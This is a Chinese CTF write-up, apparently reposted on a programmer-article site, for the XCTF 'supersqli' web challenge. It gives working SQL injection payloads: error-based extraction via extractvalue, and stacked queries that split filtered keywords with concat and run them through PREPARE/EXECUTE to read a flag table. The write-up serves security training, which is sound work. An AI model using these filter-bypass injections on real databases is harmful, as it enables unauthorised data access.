欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界XCTF:supersqli

程序员文章站 2022-05-15 21:30:31
...

攻防世界XCTF:supersqli
攻防世界XCTF:supersqli
加个单引号发现报错
攻防世界XCTF:supersqli
攻防世界XCTF:supersqli
攻防世界XCTF:supersqli
比较烦的就是过滤了select
这样就无法进行查数据了,而且这里的/i就是忽略了大小写。无法进行大小写过滤
首先可以通过报错函数,把数据库给注入出来

-1' and extractvalue(1,concat(1,version()))-- +

版本信息:.18-MariaDB
攻防世界XCTF:supersqli
数据库名称:supersqli

攻防世界XCTF:supersqli
然后经过测试发现这里可以执行多条语句,也就是堆叠注入
再进行查这个数据库有多少表:
第一张表:1919810931114514
第二章表:words
攻防世界XCTF:supersqli
虽然这里过滤了select和where等,但是可以通过执行多语句,将要执行的sql语句进行拼接,这样就可以将过滤的sql关键字拆分绕过检测

-1';use information_schema;set @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');PREPARE sql_query FROM @sql;EXECUTE sql_query;--+

注意这里table_name="" 使用双引号是为了和单引号区分开来
攻防世界XCTF:supersqli
这里@是定义一个用户自定义变量的意思
PREPARE是预处理,这里预处理语句必须大写,格式就是PREPARE sql_query from @sql_query;execute sql_query;

然后查字段内容
-1’;use supersqli;set @sql=concat(‘s’,'elect flag from 1919810931114514');PREPARE sql_query FROM @sql;EXECUTE sql_query;–+

这里对字段名 flag 使用 这对符号包裹我猜也是为了区分吧

攻防世界XCTF:supersqli

相关标签: CTF_WEB_writeup